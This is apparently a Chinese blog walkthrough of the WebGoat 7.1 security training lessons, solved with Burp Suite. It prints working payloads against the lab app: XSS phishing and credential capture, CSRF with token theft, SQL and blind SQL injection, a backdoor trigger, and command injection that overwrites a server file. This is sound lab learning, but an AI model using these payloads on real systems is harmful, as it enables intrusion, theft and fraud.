13594

0x00 安裝

WebGoat的版本區別

WebGoat是一個滲透破解的習題教程,分為簡單版和開發版,GitHub地址.

簡單版安裝

簡單版是個JAVA的Jar包,只需要有Java環境,然后在命令行里執行

#!bash
java -jar webgoat-container-7.0.1-war-exec.jar

然后就可以訪問"127.0.0.1:8080/WebGoat"就可以了,注意"WebGoat"大小寫敏感,不能寫錯.

開發版安裝

WebGoat有些題目是開發版中才能做的,所以說需要安裝開發版(但是比較坑的是安了開發版也有做不了的)先來看看條件

Java >= 1.6 ( JDK 1.7 recommended )
Maven > 2.0.9
Your favorite IDE, with Maven awareness: Netbeans/IntelliJ/Eclipse with m2e installed.
Git, or Git support in your IDE

Java環境肯定要裝,然后因為我用的是Mac所以IDE用的是Xcode,Xcode自帶了Git.所以剩下的就剩下Maven.

Maven

用過Xcode的應該知道CocoaPods,Maven就是類似CocoaPods的一個包管理軟件,下載地址中下載壓縮包,不要下載源碼

#!bash
apache-maven-3.3.9-bin.zip

然后進行解壓縮,之后進行Maven配置,其中x.x.x為版本號,Name為你Mac的賬戶名

將解壓后文件夾apache-maven-x.x.x移到/Users/Name/Library目錄下
然后修改~/.bash_profile的內容,如果不存在就新建一個

全部命令行為

#!bash
cd ~/Downloads/
mv  apache-maven-3.3.9 ~/Library/apache-maven-3.3.9
vi ~/.bash_profile

其中bash_profile的內容為

#!bash
export MAVEN_HOME=/Users/Name/Library/apache-maven-3.3.9
export PATH=$PATH:$MAVEN_HOME/bin

然后進行測試

#!bash
mvn -version

看到以下內容就是成功了

#!bash
Apache Maven 3.3.9 (bb52d8502b132ec0a5a3f4c09453c07478323dc5; 2015-11-11T00:41:47+08:00)
Maven home: /Users/Name/Library/apache-maven-3.3.9
Java version: 1.7.0_80, vendor: Oracle Corporation
Java home: /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre
Default locale: zh_CN, platform encoding: UTF-8
OS name: "mac os x", version: "10.11.3", arch: "x86_64", family: "mac"

WebGoat-Development

在環境安裝完畢之后新建一個文件夾WebGoat-Workspace執行sh腳本自動下載和編譯

#!bash
mkdir WebGoat-Workspace
cd WebGoat-Workspace
curl -o webgoat_developer_bootstrap.sh https://raw.githubusercontent.com/WebGoat/WebGoat/master/webgoat_developer_bootstrap.sh
sh webgoat_developer_bootstrap.sh

編譯提示Exit

有時候可能會碰見類似這樣的Debug提示

#!bash
2016-03-08 14:33:20,496 DEBUG - Exit: AxisEngine::init
2016-03-08 14:33:20,496 DEBUG - Exit: DefaultAxisServerFactory::getServer
2016-03-08 14:33:20,496 DEBUG - Exit: getEngine()

產生的原因是WebGoat-Lessons的課程配置不對,打開/WebGoat-Lessons/pom.xml大概在100多行找到以下這個,把7.1-SNAPSHOT改成正確的版本號,再次運行sh腳本就可以了

#!bash
<dependency>
    <groupId>org.owasp.webgoat</groupId>
    <artifactId>webgoat-container</artifactId>
    <version>7.1-SNAPSHOT</version>
    <type>jar</type>
    <scope>provided</scope>
</dependency>

Chrome和BurpSuite

使用Chrome主要是其插件比較多,平時上網我都是用Safari的,下載一個插件"Proxy SwitchyOmega",可以設置僅有Chrome走代理,然后將代理指向BurpSuite的端口和地址,BrupSuite使用看這里.

0x01 開始

WebGoat的大坑

由于WebGoat不同的版本課程都不一樣,所以說網上的資料也不全,我用的是7.1.0版本,先來上個圖

而且!!!最坑的是!!!有些題根本他娘的沒答案,或者答案是錯的,開發版的題也不知道怎么做!

Introduction

這一章節教了你怎么用這個東西,以及怎么為這個組織貢獻課程,主要就是3個選項,沒什么實質教學內容

Java Source: 源碼
Solution: 答案
Hints: 提示

General-Http Basics

這一章節讓你明白什么是Http,可以用BurpSuite攔截一下報文和我Blog中講的基礎進行驗證下,Solution使用的攔截工具是WebScarab,單獨安裝比較難,可以在Kali中使用,但是我用的是BurpSuite,效果一樣.

Access Control Flaws-Using an Access Control Matrix

這個就是讓你初步理解權限的概念,點一點,找到誰的權限最大就可以了

Access Control Flaws-Bypass a Path Based Access Control Scheme

這一節是讓你利用攔截工具,改變參數,訪問到原本不能訪問的路徑,在BurpSuite的Intercept里抓到這個請求

然后根據Hints提醒使用shell腳本里切換到上一級目錄的指令".."修改File的值"CSRF.html"構造出另外一個指令

#!bash
 ../../../../../WEB-INF/spring-security.xml

就可以訪問到目標目錄意外的文件,但是坑爹的是不論試驗了多少次都提示我

#!bash
* Access to file/directory " ../../../../../WEB-INF/spring-security.xml" denied

然后看Solution里說是訪問main.jsp于是改為

#!bash
 ../../../../../main.jsp

課程通過...Hints和Solution根本不一樣...這就是WebGoat的坑爹之處

Access Control Flaws-LAB: Role Based Access Control

Stage 1: Bypass Business Layer Access Control

權限管理問題,由于代碼沒有對Control里的Delete指令做權限管理,又通過action字段判斷Control指令,所以原本不應該有Delete權限的Tom執行了Delete操作.

使用密碼jerry進入Jerry Mouse的帳號,有ViewProfile和DeleteProfile的操作
使用密碼tom進入Tom Cat的帳號,只有ViewProfile
執行ViewProfile攔截請求,改action為DeleteProfile

Stage2

說是需要在開發版下修復這個問題,沒找到怎么修復.

Stage 3: Bypass Data Layer Access Control

水平越權問題,View這個操作不能像Delete一樣對Tom進行權限上的控制,那么與Tom出于同一層級的其它用戶也具有這個權限,所以說Tom可以通過攔截修改employee_id水平的訪問其它人的資料,也是屬于非正常邏輯.

Stage4

需要對每一個操作再次進行權限核實,才能解決這個問題,也是要求在開發版下完成這節課,但是我也不知道怎么完成.

AJAX Security-LAB: Client Side Filtering

客戶端過濾,有些時候服務器返回的了很多條信息,只挑選了其中少數進行顯示,可以在返回的html源碼中看到全部的信息.

選中名字附近元素點擊"檢查"
在源碼中搜索關鍵詞"hidden" "Joanne"等
發現有3個"Joanne",其中一個隱藏了Neville的信息

AJAX Security-DOM Injection

DOM:文檔對象模型(Document Object Model),是W3C組織推薦的處理可擴展標志語言的標準編程接口.就是HTML報文中的節點,這里說是通過DOM注入的方式讓原本網頁中不可點擊的按鈕變為可點擊.

輸入License Key會自動發起一個Ajax的請求
通過攔截AJAX請求的返回報文,把報文頭和內容全部清空
更改返回為一段JS代碼

如下

#!bash
 document.form.SUBMIT.disabled = false

此時按鈕就可以使用了,除了這個方法之外,還可以直接檢查按鈕

#!bash
<input disabled="" id="SUBMIT" value="Activate!" name="SUBMIT" type="SUBMIT">

改disabled為false或者直接刪除這個標記.

AJAX Security-LAB: DOM-Based cross-site scripting

這就是一個簡單的反射型XSS的演示,依次輸入以下內容在文本框里

#!bash
World//正常
<IMG SRC="images/logos/owasp.jpg"/>//XSS插入圖片
<img src=x onerror=;;alert('XSS') />//XSS插入Alert
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>//XSS插入iFrame

甚至可以直接偽造界面

#!bash
Please enter your password:
<BR><input type = "password" name="pass"/>
<button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button>
<BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>

AJAX Security-XML Injection

XML注入攻擊,和HTML注入攻擊一樣,都是利用文本解析機制,寫入惡意輸入

輸入ID:836239,攔截請求
修改返回報文的XML文件,給自己跟多的選擇

返回報文

#!bash
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/xml
Date: Tue, 08 Mar 2016 08:46:40 GMT
Content-Length: 136

<root>
<reward>WebGoat Mug 20 Pts</reward>
<reward>WebGoat t-shirt 50 Pts</reward>
<reward>WebGoat Secure Kettle 30 Pts</reward>
</root>

可以修改內容為

#!bash
<root>
<reward>WebGoat Mug 20 Pts</reward>
<reward>WebGoat t-shirt 50 Pts</reward>
<reward>WebGoat Secure Kettle 30 Pts</reward>
<reward>WebGoat Secure Kettle 30 Pts</reward>
<reward>WebGoat Core Duo Laptop 2000 Pts</reward>
<reward>WebGoat Hawaii Cruise 3000 Pts</reward>
</root>

AJAX Security-JSON Injection

JSON注入攻擊,原理和XML注入攻擊一樣

From輸入BOS,to輸入SEA
攔截請求返回報文

如下

#!bash
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache
Content-Type: text/html
Date: Tue, 08 Mar 2016 08:50:24 GMT
Content-Length: 169

{
"From": "Boston",
"To": "Seattle", 
"flights": [
{"stops": "0", "transit" : "N/A", "price": "$600"},
{"stops": "2", "transit" : "Newark,Chicago", "price": "$300"} 
]
}

修改600美元為30美元就可以便宜了

AJAX Security-Insecure Client Storage

這是最坑的一道題!!!

先來說下題目的原意,題目中讓你找出優惠券號碼,然后享受優惠,利用情形是

有的優惠券號碼是由服務器發送到前端的
為了防止從源碼竊取,發送到瀏覽器的是加密后的優惠碼,用一定算法進行解密
然后對比解密后的優惠券和用戶的輸入
相同就享受優惠

這里有個邏輯漏洞,就是拿解密后的優惠碼明文和用戶輸入進行對比,而不是加密用戶的輸入與密文對比,所以前端還是可以通過JS打斷點獲取到優惠碼明文.

大坑來了

如果相對JS打斷點,首先要能在控制臺找到JS腳本文件,由于整個頁面是使用了JQuery內嵌了課程內容(網頁內部嵌另外一個網頁),紅色框內的內容是動態加載的,所以直接在Sources頁面根本找不到內嵌網頁的"clientSideValidation.js"

這個坑了我好久啊,對前端不熟悉怎么都找不到.js文件

Solution里給的答案第一步就是讓你定位"clientSideValidation.js",定位不到怎么辦!!!!

檢查Network

既然內部的網頁是動態加載的,那么肯定有網絡通訊,可以通過檢查Network看記錄,和"clientSideValidation.js"附近的文件有個條網絡請求"attack?Screen=272&menu=400"的,點擊可以看到紅色框體內的頁面,然后可以獲取到實際地址

#!bash
http://zhuojiademacbook-pro.local:8080/WebGoat/attack?Screen=272&menu=400

利用Request攔截

除去查看Network之外,還可以利用BurpSuite攔截Ajax請求,因為整個頁面是通過Ajax刷新的,Ajax本身又是一種請求,那么只要我點擊purchase,就可以攔截到一條Request請求,且能看到頁面內的相關參數

對這個請求點擊Action-Send to repeater
右鍵-Show response in browser
從瀏覽器里打開鏈接(注意此時關閉攔截)
就跳轉到了實際內部頁面的地址

得到了實際地址后,就可以在子頁面內調試JS

Stage2

第二步說的是有些在前端可以通過刪除掉input框的readonly標記任意修改金額,比較簡單

AJAX Security-Dangerous Use of Eval

Eval是php語言中執行一段JS代碼的意思,這一道題也是一種典型的反射型XSS展示,與剛剛基于DOM的不同,DOM是直接插入新節點,而這個是使用一定技巧,先關閉原本的DOM,然后寫自己的DOM,再組裝好剛剛被關閉DOM的后半部分.

通過php的Eval,alert被執行

#!bash
123');alert(document.cookie);('

123后的

');

使得原本的DOM不受影響,最后的

('

閉合掉了原本多出的')符號

插入代碼的樣子是

('123');alert(document.cookie);('')

0X02 后續

Authentication Flaws-Password Strength

介紹了不同復雜度的密碼需要破解的時間,給的網站

https://howsecureismypassword.net

尼瑪根本打不開,已經不存在了貌似,翻墻也沒有

Authentication Flaws-Forgot Password

題目的所有目的都是告訴你有些忘記密碼的問題太簡單,可以直接猜出來....尼瑪...猜出來..猜出來..

輸入admin
密碼問你最喜歡的顏色
顏色不就沒幾種么
猜紅黃綠三原色,然后green就猜中了

Authentication Flaws-Multi Level Login 1

這個題目壞掉了,題目的本意是第二步提交TAN#值的時候,有個叫hidden_tan的隱藏參數,來告知客戶端哪個TAN值被用掉了,只需要修改這個值,就可以再次利用被使用過的TAN

可是我使用Jane和tarzan登錄之后,第二次再登錄不能用了...不知道是不是我理解錯了.還是!!真的壞掉了!!

Authentication Flaws-Multi Level Login 2

兩步驗證的錯誤,意思是讓你使用Joe和banana這個賬戶來登錄Jane,因為第二步有個input的值叫hidden_user,在使用了Joe登錄后,用戶信息會被存在這個字段在第二步發送,所以只需要修改這個字段為Jane,就可以登錄Jane

Buffer Overflows-Off-by-One Overflows

這一章節是為了介紹內存溢出帶來的危害...但是題目感覺是為了出題而出題,并沒有真實還原一個內存溢出造成的BUG

第一步讓你提交入住等級,姓名.房間號
第二步讓你選擇入住時間
選擇成功會返回你的姓名和房間號

這里對第三個參數填充超級大的數據,比如大于4096位的字符串,就可能造成內存溢出漏洞,從而返回VIP客戶的房間號和姓名

大坑來了

這個題目的想法是好的,目的在于輸入框輸入位數有限制,那么可以通過攔截報文,然后使用Intruder進行爆破,填充超級大的數據來造成內存溢出,但是,這里并沒有真正還原了一個內存溢出錯誤,而是通過以下代碼

#!php
// And finally the check...
       if(param3.length() > 4096)
       {
           ec.addElement(new Input(Input.hidden, "d", "Johnathan"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "e", "Ravern"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "f", "4321"));
           ec.addElement("\r\n");

           ec.addElement(new Input(Input.hidden, "g", "John"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "h", "Smith"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "i", "56"));
           ec.addElement("\r\n");

           ec.addElement(new Input(Input.hidden, "j", "Ana"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "k", "Arneta"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "l", "78"));
           ec.addElement("\r\n");

           ec.addElement(new Input(Input.hidden, "m", "Lewis"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "n", "Hamilton"));
           ec.addElement("\r\n");
           ec.addElement(new Input(Input.hidden, "o", "9901"));
           ec.addElement("\r\n");

           s.setMessage("To complete the lesson, restart lesson and enter VIP first/last name");

       }

僅僅是檢查了第三個參數的長度,來增加返回報文,偽造了一個看似內存溢出的漏洞,十分坑爹....所以我還是不知道到底內存溢出漏洞咋產生的...

如何使用intruder爆破

我們要爆破的是第二個界面點擊"Accept Terms"的鏈接,攔截下之后點擊"Action-Send to intruder"

選擇Sniper模式
點擊Clear清除所有爆破點,然后選中114這個房間號碼,點擊Add設置為爆破點
進入Payloads標簽頁
選擇用Character Blocks(字符串塊)填充
基礎字符串是A,選擇最短位數4096最長位數10240,步長50

這個Character Blocks是什么意思呢?就是代表用4096位的A開始然后50位50位的依次加長長度,直到達到10240位,然后點擊Start Attack,查看大于4096位之后的結果,就可以看到模擬出的內存泄漏信息

Code Quality-Discover Clues in the HTML

這一篇主要在講,沒事不要他娘的亂寫備注...比如這個作者把管理員用戶名密碼寫備注里了

#!bash
<!-- FIXME admin:adminpw  -->
<!-- Use Admin to regenerate database  -->

Concurrency-Thread Safety Problems

線程安全問題,有些程序員寫代碼的時候喜歡各種用Static/Const之類的,覺得自己對內存了如指掌,吊的不知道哪里去了.但是往往忽略了多線程的問題,比如這個問題的源碼

#!php
private static String currentUser;
private String originalUser;

這里currentUser使用了static靜態變量,又沒有做線程保護,就會造成瀏覽器Tab1訪問這個頁面時,Tab2同時訪問,數據就會被替換掉

Concurrency-Shopping Cart Concurrency Flaw

如上題一樣,也是由于使用了靜態變量卻沒有做線程保護,導致的購物車多線程支付問題.

0x03 XSS

Cross-Site Scripting (XSS)-Phishing with XSS

簡單的反射型XSS釣魚演示

#!html
</form>
  <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

將上邊的代碼輸入到文本框,XSS會造成一個釣魚的登錄界面,用來騙取登錄賬戶和密碼

Cross-Site Scripting (XSS)-LAB: Cross Site Scripting

這是一篇系統的XSS介紹

Stage1-4

這四個步驟介紹了儲存型XSS,主要步驟如下

Tom的檔案是可以編輯的,Jerry作為人力可以查看Tom的檔案
Tom對自己的檔案進行編輯,放入XSS代碼,被儲存到數據庫
Jerry查看Tom檔案時,咣當..中招了

然后Stage2和4給出了兩種方法修復XSS

第一是對輸入進行檢查,進行編碼,第二個是對輸出進行編碼,分為JS Encode和HTML Encode,整個1-4由于沒有Soluition,而且貌似XSS已經是被修復后的狀態,所以沒法完成...感覺這節課也是壞掉的...

Stage5-6

這里是反射型XSS的教程,說是在SearchStaff有個反射型的XSS,可以通過輸入那里注入代碼,但是沒能復現,可能也是壞掉了...Stage6必須在開發模式下,也不知道怎么做.

Cross-Site Scripting (XSS)-Stored XSS Attacks

講述了一種最典型的儲存型XSS的例子---||||-留言板.

留言板可以輸入任何信息
沒有進行輸入輸出編碼,產生了XSS
用戶A進行惡意留言
用戶B點進來自動顯示用戶A的留言,中XSS

Cross-Site Scripting (XSS)-Reflected XSS Attacks

典型的反射型XSS掩飾,Enter your three digit access code:輸入框有反射型XSS漏洞

Cross-Site Scripting (XSS)-Cross Site Request Forgery (CSRF)

這里是一個儲存型XSS和CSRF結合的示例,CSRF就是冒名登錄,用代碼偽造請求,詳細看這里,這里是吧CSRF惡意代碼利用儲存型XSS放到了網頁上,通過留言Message里輸入

#!html
<iframe src="attack?Screen=284&amp;menu=900&amp;transferFunds=5000"></iframe>

就可以看到儲存型XSS會出發出一個轉賬頁面,如果想這個頁面被被害者發現

#!html
<iframe src="attack?Screen=284&amp;menu=900&amp;transferFunds=5000" width="1" height="1"></iframe>

通過寬高設置成1像素,隱藏掉這個頁面

Cross-Site Scripting (XSS)-CSRF Prompt By-Pass

這個就是利用CSRF進行冒名操作轉賬,留下惡意代碼如下

#!html
<iframe
    src="attack?Screen=282&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';">
</iframe>

<iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
</iframe>

第一個iframe是進行轉賬5000
當第二個加載完畢,去獲取第二個iframe執行轉賬確認按鍵
然后再下邊事先構造好"id=frame2"的第二個iframe

根據剛剛的文章講,預防CSRF的一個有效手段就是Token,但是Token在管理不嚴的情況下也是可以被竊取的

Cross-Site Scripting (XSS)-

演示竊取Token后的CSRF

#!js
<script>
var tokensuffix;

function readFrame1()
{
    var frameDoc = document.getElementById("frame1").contentDocument;
    var form = frameDoc.getElementsByTagName("form")[0];
    tokensuffix = '&CSRFToken=' + form.CSRFToken.value;

    loadFrame2();
}

function loadFrame2()
{
    var testFrame = document.getElementById("frame2");
    testFrame.src="attack?Screen=278&menu=900&transferFunds=5000" + tokensuffix;
}
</script>

<iframe src="attack?Screen=278&menu=900&transferFunds=main"
    onload="readFrame1();"
    id="frame1" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>

<iframe id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>

先加載main頁面竊取Token
然后加載轉賬頁面發送CSRF轉賬請求

Cross-Site Scripting (XSS)-HTTPOnly Test

這里就是測試HTTPOnly在對第三方Cookie的管理的影響,被標記了HTTPOnly的Cookie不能被JS獲取到.所以一般Session和Token最好放在帶有標記的Cookie里

但是這里有個疑問,如果用戶選擇不同的DOM就可以打開關閉HTTPOnly的標記,是不是可以誘導用戶先關掉呢...還是說這里也是為了出題而出題,只是偽造了HTTPOnly的效果

Improper Error Handling-Fail Open Authentication Scheme

這一個章節主要是講要對錯誤有處理,不然錯誤處理的不全面也可能造成漏洞,比如這里

輸入webgoat帳號
然后輸入任意密碼
攔截Request報文
刪掉密碼這一個參數

這樣也能登錄成功,所以說明代碼對獲取不到密碼這個參數時的錯誤處理不充分

0x04 Injection

Injection Flaws-

整個一章都在講注入,由于注入的手段基本類似,主要是兩點

提前閉合正常代碼,輸入惡意代碼
處理由于閉合正常代碼留下的尾巴

Injection Flaws-Command Injection

這個的意思是進行命令行注入,因為有些操作后臺都是通過命令行完成的,所以可以嘗試輸入Shell指令來進行注入,但是它喵的我按照它說的來怎么都完成不了......

Injection Flaws-Numeric SQL Injection

數字SQL注入,這里說的一個SQL語句

#!sql
SELECT * FROM weather_data WHERE station = [station]

可以攔截報文將station字段后補充

#!bash
101 OR 1=1

整個語句就變成了

#!sql
SELECT * FROM weather_data WHERE station = 101 OR 1=1

由于1=1恒成立,所以會遍歷出所有的數據庫表單

Injection Flaws-Log Spoofing

日志偽造,這里是攻擊者發現了日志生成的規則,通過注入惡意字符串,按照規則偽造出一條日志,在Username輸入

#!bash
Smith%0d%0aLogin Succeeded for username: admin

其中%0d和%0a為CRLF換行符,看到的輸出為

#!bash
Login failed for username: Smith
Login Succeeded for username: admin

其實第二行完全是偽造出來的

Injection Flaws-String SQL Injection

字符串注入,由于字符串是由''包裹起來的,所以要注意格式,和數字注入原理一樣

#!sql
Erwin' OR '1'='1

SQL拼接出來的結果是

#!sql
SELECT * FROM user_data WHERE last_name = 'Erwin' OR '1'='1'

Injection Flaws-LAB: SQL Injection

Stage1-4

其實還是展現了數字和字符串不同的注入方法,對password進行攔截,然后使用字符串注入,可以登錄任意賬戶.

剩下的我并沒有做出來,也沒有Solution,感覺題目壞掉了..

Injection Flaws-Database Backdoors

利用SQL輸入插入后門,首先是一個SQL注入點,可以通過數字注入看到所有人的薪水,然后使用以下SQL指令可以修改薪水

#!sql
101; update employee set salary=10000

更加高級的是插入后門,下邊這個后門好象是創建新用戶的時候會自動修改郵箱為你的郵箱

#!sql
CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET [email protected]'WHERE userid = NEW.userid

Injection Flaws-Blind Numeric SQL Injection

數字盲注,有些時候存在SQL注入,但是獲取不到我們需要的信息,此時可以通過SQL語句的條件判斷,進行盲注.

比如我們知道一個cc_number=1111222233334444,但是想知道其pin在pins table里的值,可以使用盲注進行爆破,輸入

#!sql
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

對10000進行1-10000步長為1的爆破,可以發現返回報文的長度在2364和2365改變了...嘗試用=2364進行請求,返回成功.那么其pin就為2364

Injection Flaws-Blind String SQL Injection

字符串盲注,猜測cc_number='4321432143214321'的用戶名,使用了SQL里的SUBSTRING這個函數,每一個字母進行爆破,原理和數字盲注一樣,但是這里爆破有一點小技巧

#!sql
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );

爆破技巧

這里有兩個爆破點,一個是SubString的第二個參數,一個是字母h,所以使用Cluster Bomb進行爆破

爆破點1 是1-10 10個可能性
爆破點2 是a-z和A-Z 52個可能性

那么一共就是520次可能性,Intruder的設置如下

可以看到報文有兩種結果1333 1334,其中第一個爆破點為10的都是1334,而有一些不是,查看返回報文發現有兩種

#!bash
Invalid account number
Account number is valid

爆破點1=10返回報文為1334是因為10比1-9多一位,那么對正確的報文進行搜索Fliter,得到結果

用戶名爆破成功

0x05 進階

Denial of Service-ZipBomb

意思是突破2MB文件限制上傳20MB的以上的東西,感覺應該是攔截某些Request,然后修改一些參數.

但是我攔截的Request的file字段都是[object file]不管傳什么都沒響應..感覺是壞掉了這道題

Denial of Service-Denial of Service from Multiple Logins

解釋了一下DDOS攻擊的原理...就是訪問的人太多了,多登錄幾次就好了

Insecure Communication-Insecure Login

介紹了HTTP報文和HTTPS報文的區別,題目原意是讓你

攔截HTTP報文看到密碼
然后進入回答密碼是多少
切換到HTTPS看看還能不能看到報文

但是切換到HTTPS之后,打不開網頁,可能是WebGoat沒有提供HTTPS的服務吧....題目壞掉了又

Insecure Storage-Encoding Basics

講了常見的編碼基礎,以及是否可以被解密,需要注意的是BASE64不是加密,而是一種編碼,雖然英文都是Encode

Malicious Execution-Malicious File Execution

題目的目的是

前端會對上傳的文件做本地檢查
先上傳滿足檢查的文件
攔截報文,修改成另外一個可執行文件如JSP
如果服務端沒有檢查,就能被執行

但是貌似題目壞掉了..別說惡意文件...正常圖片都上傳不了

Parameter Tampering-Bypass HTML Field Restrictions

修改頁面的HTML文本解除一些前端的限制,如按鈕是否可用

Parameter Tampering-Exploit Hidden Fields

查看HTML文本找到一些被打了Hidden標記的元素

Parameter Tampering-Exploit Unchecked Email

找到被Hidden的Email或者通過攔截修改發送Email的地址

Parameter Tampering-Bypass Client Side JavaScript Validation

修改存在頁面上的JS文件使得前端的正則校驗失效,從而給服務端發超出限制的字符

Session Management Flaws-Hijack a Session(有疑問)

Session劫持,題目的本意是讓你在兩次登錄生成不同的Session之間,估算哪個Session已經被人使用了,然后進行爆破....但是我沒有做出來,BurpSuite沒有找到對應的Session Analyze的地方.

Session Management Flaws-Session Fixation

Session串改,題目的意思如下

你偽造一個帶有Session的鏈接發送給別人,在郵件內容后加&SID=WHAT
別人用你的鏈接進行了登錄,使用賬戶密碼Jane/tarzan
點擊下一步發現&SID=NOVALIDSESSION
此時你只需要用剛剛發送的Session值,就可以直接進入別人賬戶

原Session鏈接

WebGoat/start.mvc#attack/311/1800&SID=NOVALIDSESSION

修改為Seesion鏈接

WebGoat/start.mvc#attack/311/1800&SID=WHAT

進入Jane賬戶成功

Web Services-Create a SOAP Request&WSDL Scanning

簡單介紹了什么是SOAP和WSDL,但是它提供的?WSDL我沒有看到WSDL而是看到了一堆Error

具體學習Web Services的文章可以看這里

Web Services-Web Service SQL Injection&Web Service SAX Injection

利用Web Services進入SQL注入和SOAP報文注入,原理和其它注入攻擊一樣,由于WebGoat的Web Service服務有問題...也沒有完成

Admin Functions-Report Card

學習記錄卡...沒什么用

0x06 Challenge

Challenge

大結局,先來吐槽一下,這個Challenge如果能不看答案做出來...我覺得就已經不是初學者了,總會出現各種開掛的步驟,或者說為了出題而出題,思路對了但是不選特定的選項就不會出結果....

先來列舉下這里用到了哪些知識

HTML源碼審計
BASE64編碼
SQL注入
命令行注入

其中每一個知識點用于

用于發現管理員帳號和密碼
用來解析Cookie
用來對Cookie進行注入獲取信用卡
用于查詢js文件路徑,和篡改網頁

Stage1

越權登錄一般有兩種方法

獲取到管理員帳號
進行注入無效化密碼

先對密碼進行注入試一試

#!sql
password' OR '1'='1

發現不行,然后分析HTTP報文

發現輸入可能可以注入的點有Username/Password/Submit/user/user(Cookie)這幾個,用戶名一般不能進行注入,密碼又試驗過了,還剩下user和user(Cookie)

發現Cookie中的User是個編碼,先去看看是什么,通過嘗試,發現Base64編解碼發現Cookie中會存user參數

對兩個都進行注入試試,先是user,然后把注入代碼編碼成Base64再放入user(Cookie)

#!sql
youaretheweakestlink' OR '1'='1
eW91YXJldGhld2Vha2VzdGxpbmsnIE9SICcxJz0nMQ==

發現都不行,還是登錄不進去,真是坑了大爹了...現在只好思考這個"youaretheweakestlink"是什么,所以去讀HTML源碼,發現了這一個

#!html
<input name="user" type="HIDDEN" value="youaretheweakestlink">

可以看到它的字段是name,難道是管理員帳號?所以使用這個登錄一下,然后同時進行注入攻擊,發現還是他娘的進不去....

到這里我就跪了,萬念俱灰...只要去打開youtube(你土鱉)看看答案

當我知道答案的時候...恨不得把作者打一頓....分明是在開掛!

首先總結一下,youaretheweakestlink作為用戶名是猜對了,可是密碼在哪呢?只看到答案打開了一個鏈接

local:8080/WebGoat/source?source=true

把WebGoat后的都刪掉,然后加上source,還要給source賦值為true....這個source尼瑪哪里出現的啊...如果不賦值為true還不能看到源代碼,在源代碼的121行

121      private String pass = "goodbye";
122  
123      private String user = "youaretheweakestlink";

可以看到密碼"goodbye"...嘗試登錄發現進去了

Stage2

第二步是讓取出所有信用卡信息,這種根據以往的練習,肯定都是使用SQL注入讓某個SELECT語句取出所有信息,根據BurpSuite的攔截信息或者Network來看的話,進入第二個頁面之后,并沒有任何請求出現,所以說注入點肯定還在登錄的時候

依次對Username/Password/Submit/user/user(Cookie)這幾個注入點進行檢查,發現user(Cookie)進行注入就可以獲得到所有信用卡信息,但是注意使用的是Base64編碼后的信息

#!sql
youaretheweakestlink' OR '1'='1
//編碼后注入代碼為
eW91YXJldGhld2Vha2VzdGxpbmsnIE9SICcxJz0nMQ==

Stage3

第三步發現是各種網絡協議的表單,根據經驗判斷(就是猜)這種表單一般有兩種獲取形式

利用SQL從數據庫讀取
利用cmd命令行得到

先嘗試攔截報文,對file字段做SQL注入,發現沒有效果.然后進行命令行注入,通用命令"ls"

#!bash
tcp && ls

這里注意坑爹的事情

由于是為了出題而出題,只有tcp具有命令行注入功能,選其它的選項卡都不行,是因為Java在源代碼里做判斷,只在tcp時讓其故意有注入漏洞.Youtube上視頻是5.2版本的...使用的是ip進行的注入,耽擱了老子好久...

還有一點需要注意,Youtube上給出的注入命令是

#!bash
&& pwd && ls && find -name "webgoat_challenge_guest.jsp"

這些指令在Mac下是無效的,Mac下需要的指令主要是find不一樣

#!bash
tcp; pwd; ls; find . -iname "webgoat_challenge_guest.jsp";

通過命名行注入,我們可以得到webgoat_challenge_guest.jsp文件的地址

然后可以使用另外一段自定義的HTML文本代替webgoat_challenge_guest.jsp,原理是利用了命令行注入的

#!bash
echo "text" > file

意思是使用清空file的內容文本,填充"text"進入file,對應的另外一個

#!bash
echo "text" >> file

保留file的內容文本,后續補充"text",百度原理看這里,構造注入語句

#!bash
tcp; echo "<html><body>Mission Complete</body></html>" > WebGoat/webgoat-container/target/webgoat-container-7.1-SNAPSHOT/webgoat_challenge_guest.jsp

Stage4

任務完成了,WebGoat的練習題只能說坑爹坑爹十分坑爹...但是總體來說還是熟悉了常用的攻擊手段...學到了不少東西

这里只有精品视频